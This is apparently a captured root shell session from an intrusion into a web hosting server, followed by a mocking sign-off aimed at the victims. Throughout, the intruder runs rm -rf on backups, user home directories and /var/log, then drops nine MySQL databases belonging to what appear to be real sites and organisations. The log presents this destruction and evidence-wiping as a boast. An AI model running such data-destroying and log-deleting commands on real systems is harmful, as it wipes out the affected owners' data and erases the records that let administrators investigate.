drwx--x--x 6 astanet astanet 4096 Jun 4 09:51 astanet
|
|
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
|
|
drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
|
|
drwx--x--x 10 com com 4096 Apr 28 12:40 com
|
|
drwxr-xr-x 2 root root 4096 May 17 2007 ftp
|
|
drwx------ 3 jon jon 4096 Sep 21 2007 jon
|
|
drwx------ 2 root root 16384 Sep 11 2007 lost+found
|
|
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
|
|
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
|
|
drwx------ 2 jon jon 4096 Sep 15 2007 test
|
|
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
|
|
|
|
sh-3.2# rm -rf backup/
|
|
sh-3.2# rm -rf backup.14161/
|
|
sh-3.2# rm -rf ftp/
|
|
sh-3.2# rm -rf jon/
|
|
sh-3.2# rm -rf my/
|
|
sh-3.2# rm -rf mysqldata/
|
|
sh-3.2# rm -rf test/
|
|
sh-3.2# rm -rf tmp/
|
|
sh-3.2# cd ~
|
|
sh-3.2# rm -rf *
|
|
sh-3.2# rm -rf /var/log/
|
|
rm: cannot remove directory `/var/log//proftpd': Directory not empty
|
|
sh-3.2# rm -rf /home/*
|
|
sh-3.2# mysql
|
|
Welcome to the MySQL monitor. Commands end with ; or \g.
|
|
Your MySQL connection id is 407156
|
|
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
|
|
|
|
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
|
|
|
|
mysql> show databases;
|
|
+-----------------------+
|
|
| Database |
|
|
+-----------------------+
|
|
| information_schema |
|
|
| astanet_ads |
|
|
| astanet_mailing_lists |
|
|
| astanet_mediawiki |
|
|
| astanet_membersystem |
|
|
| com_contrexx |
|
|
| com_contrexx2 |
|
|
| com_contrexx2_live |
|
|
| da_roundcube |
|
|
| dolphin |
|
|
| ideapool |
|
|
| mysql |
|
|
| test |
|
|
| yourmaster |
|
|
+-----------------------+
|
|
14 rows in set (0.03 sec)
|
|
|
|
mysql> drop database astanet_membersystem;
|
|
droQuery OK, 46 rows affected (0.81 sec)
|
|
|
|
mysql> drop database com_contrexx;
|
|
Query OK, 211 rows affected (2.72 sec)
|
|
|
|
mysql> drop database com_contrexx2;
|
|
Query OK, 237 rows affected (2.23 sec)
|
|
|
|
mysql> drop database com_contrexx2_live;
|
|
Query OK, 227 rows affected (7.63 sec)
|
|
|
|
mysql> drop database ideapool;
|
|
Query OK, 69 rows affected (0.19 sec)
|
|
|
|
mysql> drop database yourmaster;
|
|
Query OK, 158 rows affected (0.55 sec)
|
|
|
|
mysql> drop database astanet_ads;
|
|
Query OK, 9 rows affected (0.11 sec)
|
|
|
|
mysql> drop database astanet_mailing_lists;
|
|
Query OK, 24 rows affected (1.47 sec)
|
|
|
|
mysql> drop database astanet_mediawiki;
|
|
Query OK, 31 rows affected (0.51 sec)
|
|
|
|
mysql> show databases;
|
|
+--------------------+
|
|
| Database |
|
|
+--------------------+
|
|
| information_schema |
|
|
| da_roundcube |
|
|
| dolphin |
|
|
| mysql |
|
|
| test |
|
|
+--------------------+
|
|
5 rows in set (0.00 sec)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
What a journey! We're not sure exactly why the "Terminator" had any influence on
|
|
their naming (conventions) but we're sure Arnold himself wouldn't be in the
|
|
wrong to say this pack of morons *wont be back*. |